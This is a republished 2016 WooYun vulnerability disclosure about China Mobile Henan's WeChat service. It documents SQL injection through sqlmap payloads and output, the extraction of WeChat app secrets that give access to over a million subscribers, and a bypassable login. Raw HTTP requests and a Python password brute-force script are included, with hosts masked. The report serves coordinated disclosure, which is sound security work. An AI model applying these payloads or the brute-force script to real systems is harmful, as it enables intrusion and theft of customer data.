河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

admin 2017年4月23日02:38:55评论291 views字数 237阅读0分47秒阅读模式
摘要

2016-03-02: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商已经确认,细节仅向厂商公开
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-18: 细节向公众公开

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2016-180153

漏洞标题: 河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

相关厂商: 中国移动

漏洞作者: 路人甲

提交时间: 2016-03-02 16:55

公开时间: 2016-04-18 17:47

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 12

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

3人收藏


漏洞详情

披露状态:

2016-03-02: 细节已通知厂商并且等待厂商处理中
2016-03-04: 厂商已经确认,细节仅向厂商公开
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-18: 细节向公众公开

简要描述:

可以登录多个移动公众微信号、

详细说明:

河南移动10086公众微信

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

用户绑定

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

浏览器打开

code 区域

mask 区域
1.http://**.**.**/weixin/userInfoController.dojumpSuView&openId=********&accountId=402880a94742e24e014742e8942b0002

openId为关住公众微信的OPNEID

accountId为河南10086公众微信号对应的ID

在绑定的时候,OpenId可任意,accountId必须为特定的ID

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

随意打开一个

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

查话费、查流量、查账单

同样的SQL注入

code 区域

mask 区域
1.http://**.**.**/weixin/suggestionPersonController.dogoRandomPage&openId=oMAmUjsuZysnvrSiCNwfOZHP5P1Y

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

code 区域
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: openId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: goRandomPage&openId=

mask 区域
*****rSiCNwf*****

' AND 7008=7008 AND 'uVHO'='uVHO

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: goRandomPage&openId=

mask 区域
*****rSiCNwf*****

' AND (SELECT 9431 FROM(SELECT COUNT(*),CONCAT(0x716d766c71,(SELECT (CASE WHEN (9431=9431) THEN 1 ELSE 0 END)),0x717a737971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'QnuJ'='QnuJ

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: goRandomPage&openId=

mask 区域
*****rSiCNwf*****

' AND SLEEP(5) AND 'YXHe'='YXHe
---
web application technology: JSP
back-end DBMS: MySQL 5.0
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] weixin

code 区域
current user:    'root@**.**.**.**'
code 区域

mask 区域
*****e: w*****
*****-----------*****
***** *****
*****-----------*****
*****509 *****
*****510 *****
*****601 *****
***** *****
*****508 *****
*****511 *****
*****602 *****
***** *****
***** *****
*****507 *****
*****rson *****
*****506 *****
*****on *****
*****ze *****
***** *****
***** *****
*****603 *****
*****ord *****
*****_record *****
*****tal *****
*****al *****
***** *****
***** *****
*****otal *****
*****al *****
*****d *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****rson_tj *****
*****505 *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****zeitem *****
***** *****
*****copy *****
*****_default *****
***** *****
***** *****
*****ssage *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****le *****
***** *****
***** *****
*****_welcome *****
***** *****
*****407 *****
*****age *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****e *****
*****rd *****
*****l *****
***** *****
***** *****
***** *****
***** *****
***** *****
*****age *****
*****rface_setti*****
***** *****
***** *****
***** *****
***** *****
*****-----------*****

用户信息什么的就不看了 直接看其中一个和公众号有关的表

mask 区域
*****count*****

中数据如下:

code 区域
id,appId,wxbs,token,zhdesc,wxname,yytName,areacode,imagepath,wxaccount,appSecret,projectUrl,accounttype,isopencustomer

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

有appId和appSecret 那不就是公众微信所用的

使用河南移动10086

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

获取用户

一百多万

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

就不发消息测试了

pingdingshanyidong

看名字应该是平顶山移动

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

其他16个公众号就不再查看了

漏洞证明:

这个程序还有另外一个错误

http://**.**.**.**/weixin/userInfoController.do?jumpSuView&openId=任意未绑定的&accountId=402880a94742e24e014742e8942b0002

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

虽然有验证码 但是验证码在页面中写着呢 最后发现 验证码竟然无用

访问页面:

code 区域
GET /weixin/userInfoController.do?jumpSuView&openId=1&accountId=402880a**********42b0002 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Cache-Control: max-age=0

提交页面

code 区域
POST /weixin/userInfoController.do?su&isdtyzm=false HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**/weixin/userInfoController.do?jumpSuView&openId=wooyun&accountId=4028********742e8942b0002
Content-Length: 62
Cookie: td_cookie=652281487;JSESSIONID=C278D7A293DE2E6566FB14D43695AFB1; AlteonP=BPAiI2oYYAqPmUEuVdxzKA$$
X-Forwarded-For: **.**.**.**
Connection: keep-alive

token=4145310724521898&mobile=13838381111&passwrod=111111&tjm=

发现竟然没有验证码,而是token

查看页面可以发现 token竟然写在页面中

步骤:访问页面,获取token和cookie,提交时带上cookie和token

就可以进行登录了

需要注意 当openId被绑定过后,访问该页面时,会直接显示绑定该手机号的用户的信息,所以在爆破的时候我把openId都设置为该用户的手机号

简单的代码如下

code 区域
#encoding=utf-8
import httplib
import string
import sys
import random
import urllib
import json
from bs4 import BeautifulSoup
reload(sys)
cookies = ''

sys.setdefaultencoding('utf-8')

def gettoken():
global cookies
conn = httplib.HTTPConnection('**.**.**.**',80, timeout=500)
conn.request(method='GET',
url="/weixin/userInfoController.do?jumpSuView&openId=&accountId=402880a94742e24e014742e8942b0002")
resp = conn.getresponse()
html_doc = resp.read()
#print resp.getheaders()
cookies = resp.getheader('set-cookie')
#print cookies
soup = BeautifulSoup(html_doc)
#print soup
return soup.input["value"]

def isBind(mobile,passwrod):
global cookies
values={
'token':gettoken(),
'mobile':mobile,
'passwrod':passwrod,
'tjm':''
}
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://**.**.**.**/weixin/userInfoController.do?jumpSuView&openId=%s&accountId=402880a94742e24e014742e8942b0002'%mobile,
'Cookie':cookies
}
conn = httplib.HTTPConnection('**.**.**.**',80, timeout=500)
conn.request(method='POST',
url="/weixin/userInfoController.do?su&isdtyzm=false",
body =urllib.urlencode(values),
headers=headers)

resp = conn.getresponse()
html_doc = resp.read()
#print html_doc
result = json.loads(html_doc)
return '手机号:'+values['mobile']+',密码:'+values['passwrod']+';'+result['msg']

for i in range(100, 999):
print isBind('河南手机'+str(i),'888888')

该接口只能为河南移动,而且没有限制

绑定成功后则可查看该用户的一些消费信息,然后也可以用爆破出来的密码登录移动厅

爆破是个体力活 测试了几百个 没一个成功

河南省移动某站设计错误可泄露百万级客户信息并存在SQL注入漏洞

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-03-04 17:47

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin